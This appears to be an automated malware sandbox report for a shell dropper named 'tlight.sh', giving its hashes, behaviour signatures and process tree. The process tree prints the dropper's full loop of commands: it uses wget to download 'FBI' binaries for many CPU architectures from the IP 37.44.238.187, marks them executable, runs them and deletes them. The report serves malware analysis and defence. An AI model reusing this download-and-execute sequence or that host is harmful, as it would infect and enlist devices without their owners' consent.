Overview

overview

9

Static

static

tlight.sh

ubuntu-18.04-amd64

9

tlight.sh

debian-9-armhf

9

tlight.sh

debian-9-mips

9

tlight.sh

debian-9-mipsel

9

Resubmissions

22-08-2022 17:16

220822-vs7zgsaggj 9

22-08-2022 17:12

220822-vqym2adfh5 9

22-08-2022 05:59

220822-gpy1hsbgdp 9

22-08-2022 02:57

220822-df17qscff9 9

22-08-2022 02:42

220822-c68ttscee5 9

Analysis

  • max time kernel
    22164s
  • max time network
    152s
  • platform
    linux_mips
  • resource
    debian9-mipsbe-en-20211208
  • resource tags

    arch:mipsimage:debian9-mipsbe-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22-08-2022 05:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    tlight.sh

  • Size

    1KB

  • MD5

    894e976a4a3f5e6038168b5c4b78f98d

  • SHA1

    13cd9bc7146037714e546063867353cbb1b6ff03

  • SHA256

    54f9d96c9369f699bff8c8ceae4d6f1376616488696be2d361f8c83034eab238

  • SHA512

    4b3ddf27afd2f04d19d879aedf5e083af6d2511d426b6a9ce991ffcebaa4013890b6ab473c68c36c25717ced8c7ef4e89765fdd8407adc3b00be44256a0f7571

Score
9/10
discovery

Malware Config

Signatures

  • Writes file to system bin folder 1 TTPs 1 IoCs
  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/tlight.sh
    /tmp/tlight.sh
    1⤵
    • Writes file to tmp directory
    PID:321
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to system bin folder
      • Reads runtime system information
      • Writes file to tmp directory
      PID:322
    • /usr/bin/wget
      wget http://37.44.238.187/FBI.i486
      2⤵
        PID:327
      • /bin/chmod
        chmod 777 FBI.i486
        2⤵
          PID:329
        • ./FBI.i486
          ./FBI.i486 tlight.i486.wget
          2⤵
            PID:330
          • /bin/rm
            rm -rf FBI.i486
            2⤵
              PID:331
            • /usr/bin/wget
              wget http://37.44.238.187/FBI.x86_64
              2⤵
                PID:332
              • /bin/chmod
                chmod 777 FBI.x86_64
                2⤵
                  PID:334
                • ./FBI.x86_64
                  ./FBI.x86_64 tlight.x86_64.wget
                  2⤵
                    PID:335
                  • /bin/rm
                    rm -rf FBI.x86_64
                    2⤵
                      PID:337
                    • /usr/bin/wget
                      wget http://37.44.238.187/FBI.i586
                      2⤵
                        PID:338
                      • /bin/chmod
                        chmod 777 FBI.i586
                        2⤵
                          PID:340
                        • ./FBI.i586
                          ./FBI.i586 tlight.i586.wget
                          2⤵
                            PID:341
                          • /bin/rm
                            rm -rf FBI.i586
                            2⤵
                              PID:342
                            • /usr/bin/wget
                              wget http://37.44.238.187/FBI.i686
                              2⤵
                                PID:343
                              • /bin/chmod
                                chmod 777 FBI.i686
                                2⤵
                                  PID:345
                                • ./FBI.i686
                                  ./FBI.i686 tlight.i686.wget
                                  2⤵
                                    PID:346
                                  • /bin/rm
                                    rm -rf FBI.i686
                                    2⤵
                                      PID:348
                                    • /usr/bin/wget
                                      wget http://37.44.238.187/FBI.mips
                                      2⤵
                                        PID:349
                                      • /bin/chmod
                                        chmod 777 FBI.mips
                                        2⤵
                                          PID:351
                                        • ./FBI.mips
                                          ./FBI.mips tlight.mips.wget
                                          2⤵
                                            PID:352
                                          • /bin/rm
                                            rm -rf FBI.mips
                                            2⤵
                                              PID:358
                                            • /usr/bin/wget
                                              wget http://37.44.238.187/FBI.mipsel
                                              2⤵
                                                PID:359
                                              • /bin/chmod
                                                chmod 777 FBI.mipsel
                                                2⤵
                                                  PID:361
                                                • ./FBI.mipsel
                                                  ./FBI.mipsel tlight.mipsel.wget
                                                  2⤵
                                                    PID:362
                                                  • /bin/rm
                                                    rm -rf FBI.mipsel
                                                    2⤵
                                                      PID:363
                                                    • /usr/bin/wget
                                                      wget http://37.44.238.187/FBI.arm
                                                      2⤵
                                                        PID:364
                                                      • /bin/chmod
                                                        chmod 777 FBI.arm
                                                        2⤵
                                                          PID:368
                                                        • ./FBI.arm
                                                          ./FBI.arm tlight.arm.wget
                                                          2⤵
                                                            PID:369
                                                          • /bin/rm
                                                            rm -rf FBI.arm
                                                            2⤵
                                                              PID:371
                                                            • /usr/bin/wget
                                                              wget http://37.44.238.187/FBI.arm5
                                                              2⤵
                                                                PID:372
                                                              • /bin/chmod
                                                                chmod 777 FBI.arm5
                                                                2⤵
                                                                  PID:374
                                                                • ./FBI.arm5
                                                                  ./FBI.arm5 tlight.arm5.wget
                                                                  2⤵
                                                                    PID:375
                                                                  • /bin/rm
                                                                    rm -rf FBI.arm5
                                                                    2⤵
                                                                      PID:377
                                                                    • /usr/bin/wget
                                                                      wget http://37.44.238.187/FBI.arm6
                                                                      2⤵
                                                                        PID:378
                                                                      • /bin/chmod
                                                                        chmod 777 FBI.arm6
                                                                        2⤵
                                                                          PID:380
                                                                        • ./FBI.arm6
                                                                          ./FBI.arm6 tlight.arm6.wget
                                                                          2⤵
                                                                            PID:381
                                                                          • /bin/rm
                                                                            rm -rf FBI.arm6
                                                                            2⤵
                                                                              PID:383
                                                                            • /usr/bin/wget
                                                                              wget http://37.44.238.187/FBI.arm7
                                                                              2⤵
                                                                                PID:384
                                                                              • /bin/chmod
                                                                                chmod 777 FBI.arm7
                                                                                2⤵
                                                                                  PID:386
                                                                                • ./FBI.arm7
                                                                                  ./FBI.arm7 tlight.arm7.wget
                                                                                  2⤵
                                                                                    PID:387
                                                                                  • /bin/rm
                                                                                    rm -rf FBI.arm7
                                                                                    2⤵
                                                                                      PID:389
                                                                                    • /usr/bin/wget
                                                                                      wget http://37.44.238.187/FBI.ppc
                                                                                      2⤵
                                                                                        PID:390
                                                                                      • /bin/chmod
                                                                                        chmod 777 FBI.ppc
                                                                                        2⤵
                                                                                          PID:392
                                                                                        • ./FBI.ppc
                                                                                          ./FBI.ppc tlight.ppc.wget
                                                                                          2⤵
                                                                                            PID:393
                                                                                          • /bin/rm
                                                                                            rm -rf FBI.ppc
                                                                                            2⤵
                                                                                              PID:395
                                                                                            • /usr/bin/wget
                                                                                              wget http://37.44.238.187/FBI.m68k
                                                                                              2⤵
                                                                                                PID:396
                                                                                              • /bin/chmod
                                                                                                chmod 777 FBI.m68k
                                                                                                2⤵
                                                                                                  PID:398
                                                                                                • ./FBI.m68k
                                                                                                  ./FBI.m68k tlight.m68k.wget
                                                                                                  2⤵
                                                                                                    PID:399
                                                                                                  • /bin/rm
                                                                                                    rm -rf FBI.m68k
                                                                                                    2⤵
                                                                                                      PID:400
                                                                                                    • /usr/bin/wget
                                                                                                      wget http://37.44.238.187/FBI.sh4
                                                                                                      2⤵
                                                                                                        PID:401
                                                                                                      • /bin/chmod
                                                                                                        chmod 777 FBI.sh4
                                                                                                        2⤵
                                                                                                          PID:403
                                                                                                        • ./FBI.sh4
                                                                                                          ./FBI.sh4 tlight.sh4.wget
                                                                                                          2⤵
                                                                                                            PID:404
                                                                                                          • /bin/rm
                                                                                                            rm -rf FBI.sh4
                                                                                                            2⤵
                                                                                                              PID:406

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads